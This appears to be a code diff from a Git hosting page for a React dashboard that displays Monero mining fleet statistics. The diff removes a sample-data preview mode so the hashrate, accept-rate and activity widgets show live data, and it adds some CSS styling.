<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Total Hashrate</div>
|
||||
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div>
|
||||
<div className="stat-sub">{displayOnline} engines firing</div>
|
||||
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
|
||||
<div className="stat-sub">{onlineCount} engines firing</div>
|
||||
</NeonCard>
|
||||
{previewDeck ? (
|
||||
<WealthEarningsPreview xmrPrice={xmrPrice} />
|
||||
) : (
|
||||
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
|
||||
)}
|
||||
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
|
||||
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Fleet Online</div>
|
||||
<div className="stat-value accepted">
|
||||
{displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span>
|
||||
{onlineCount} <span className="stat-dim">/ {agents.length}</span>
|
||||
</div>
|
||||
<div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div>
|
||||
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
|
||||
</NeonCard>
|
||||
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Accept Rate</div>
|
||||
<div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div>
|
||||
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
|
||||
<div className="stat-sub">
|
||||
{previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`}
|
||||
{acceptedShares + rejectedShares > 0
|
||||
? `${acceptedShares} valid · ${rejectedShares} rejected`
|
||||
: 'no shares yet'}
|
||||
</div>
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="stat-card-wrap">
|
||||
@@ -819,9 +787,8 @@ export default function DashboardPage() {
|
||||
|
||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||
<ContributionBars
|
||||
bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []}
|
||||
sample={previewDeck && contribs.length === 0}
|
||||
xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
|
||||
bars={contribs}
|
||||
xmrPerDay={estXmrDay ?? undefined}
|
||||
xmrPrice={xmrPrice}
|
||||
/>
|
||||
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
|
||||
@@ -862,7 +829,7 @@ export default function DashboardPage() {
|
||||
</div>
|
||||
</Suspense>
|
||||
|
||||
{(hasGPUMining || previewDeck) && (
|
||||
{hasGPUMining && (
|
||||
<Suspense fallback={<ChartPlaceholder height={220} />}>
|
||||
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
|
||||
<HashrateChart
|
||||
@@ -907,7 +874,7 @@ export default function DashboardPage() {
|
||||
<span className="section-ornament">◆</span> Share Activity Pulse
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} />
|
||||
<ActivityPulse items={activityItems} />
|
||||
</NeonCard>
|
||||
|
||||
<section className="section">
|
||||
|
||||
@@ -501,6 +501,26 @@
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.reforge-confirm-banner {
|
||||
color: var(--neon-cyan, #00e5ff);
|
||||
background: rgba(0, 229, 255, 0.08);
|
||||
border-color: rgba(0, 229, 255, 0.35);
|
||||
}
|
||||
|
||||
.fusion-prep-picker.fusion-prep-highlight {
|
||||
padding: 0.75rem;
|
||||
border-radius: 8px;
|
||||
outline: 2px solid var(--accent-red);
|
||||
outline-offset: 2px;
|
||||
background: rgba(239, 68, 68, 0.08);
|
||||
animation: fusion-prep-pulse 1.2s ease-in-out 3;
|
||||
}
|
||||
|
||||
@keyframes fusion-prep-pulse {
|
||||
0%, 100% { outline-color: var(--accent-red); }
|
||||
50% { outline-color: rgba(239, 68, 68, 0.35); }
|
||||
}
|
||||
|
||||
.build-btn {
|
||||
width: 100%;
|
||||
justify-content: center;
|
||||
|
||||
Reference in New Issue
Block a user